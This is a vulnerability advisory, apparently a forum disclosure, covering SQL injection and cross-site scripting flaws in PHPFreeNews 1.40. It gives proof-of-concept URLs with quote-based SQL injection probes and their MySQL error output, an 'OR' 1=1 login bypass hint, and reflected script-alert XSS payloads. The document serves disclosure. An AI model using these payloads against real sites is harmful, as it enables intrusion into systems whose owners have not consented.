PHPFreeNews V1.40 and prior Multiple Vulnerabilities
PHPFreeNews V1.40 and prior Multiple Vulnerabilities
SEVERITY:
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High
SOFTWARE:
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PHPFreeNews
http://www.phpfreenews.co.uk/
INFO:
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PHPFreeNews is a free PHP Script which allows you to display news headlines and
articles on your website.
DESCRIPTION:
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PHPFreeNews Version V1.40 and earlier are vulnerable to various SQL Injection
and XSS attacks. Here are some examples:
--==-- SQL Injection --==--
http://www.site.com/phpfn/SearchResults.php?Match='&NewsMode=1&SearchNews=Search&CatID=0
http://www.site.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='
http://www.site.com/phpfn/SearchResults.php?Match=%27&NewsMode=1&SearchNews=Search&CatID=0
http://www.site.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in \somepath\www\phpfn\Inc\ListingFunctions.php on line 92
Query failed : You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near ''''
IN BOOLEAN MODE) ORDER BY Sticky DESC, Priority, PostDate
Also http://www.site.com/phpfn/Inc/AccessControl.php type for user and pass
some sql injection string like "OR" 1=1 and you will get an error.
--==-- XSS --==--
http://www.site.com/phpfn/NewsCategoryForm.php?NewsMode=";><script>alert('Found
By Matrix_Killer');</script>&CatID=0
http://www.site.com/phpfn/SearchResults.php?Match='><script>alert('Matrix_Killer
OwnZ The World :)');</script>&NewsMode=1&SearchNews=Search&CatID=0
http://www.site.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='><script>alert('Hell
Year');</script>
http://www.site.com/phpfn/SearchResults.php?Match=1&NewsMode=";><script>alert('0_o
Please StoP !');</script>&SearchNews=Search&CatID=0
http://www.site.com/phpfn/SearchResults.php?Match=";><script>alert('Matrix_Killer
-> The bug Hunter <-');</script>&NewsMode=1&SearchNews=Search&CatID=0
VENDOR STATUS
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Vendor contacted on the 17th of August.
Vendor Reply (17th of August) - All the bugs have been fixed and will be
included in the next release.
CREDITS:
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This vulnerability was discovered and researched by -
matrix_killer of h4cky0u Security Forums.
mail : matrix_k at abv.bg
web : http://www.h4cky0u.org
Co-Researcher -
h4cky0u of the h4cky0u Security Forums.
mail : h4cky0u@xxxxxxxxx
web : http://www.h4cky0u.org
Greets to all omega-team members + krassswr,EcLiPsE and all who support us !!!
ORIGINAL:
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http://h4cky0u.org/viewtopic.php?t=1977